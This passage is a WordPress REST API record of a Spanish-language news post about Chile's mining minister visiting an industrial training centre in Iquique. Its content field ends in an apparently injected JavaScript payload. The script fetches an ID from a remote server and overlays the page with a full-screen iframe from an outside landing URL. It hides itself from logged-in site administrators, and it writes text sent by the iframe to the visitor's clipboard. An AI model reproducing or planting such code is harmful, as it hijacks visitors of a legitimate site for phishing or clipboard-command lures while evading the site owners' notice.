(\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>En su visita al CEIM de Iquique, la ministra de Miner\u00eda, Aurora Williams, destac\u00f3 la importancia de formar capital humano altamente capacitado, con un enfoque en la sostenibilidad y el impacto regional. En un recorrido por las instalaciones del Centro de Entrenamiento Industrial y Minero (CEIM) en Tarapac\u00e1, la ministra de Miner\u00eda, Aurora Williams, junto&hellip;<\/p>","protected":false},"author":22,"featured_media":34907,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[283,1,73,99,275],"tags":[],"class_list":["post-34901","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-capacitacion-empresas","category-noticias","category-noticias-destacadas","category-noticias2","category-principal-home","category-283","category-1","category-73","category-99","category-275","description-off"],"_links":{"self":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/34901","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/comments?post=34901"}],"version-history":[{"count":3,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/34901\/revisions"}],"predecessor-version":[{"id":46326,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/34901\/revisions\/46326"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media\/34907"}],"wp:attachment":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media?parent=34901"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/categories?post=34901"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/tags?post=34901"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}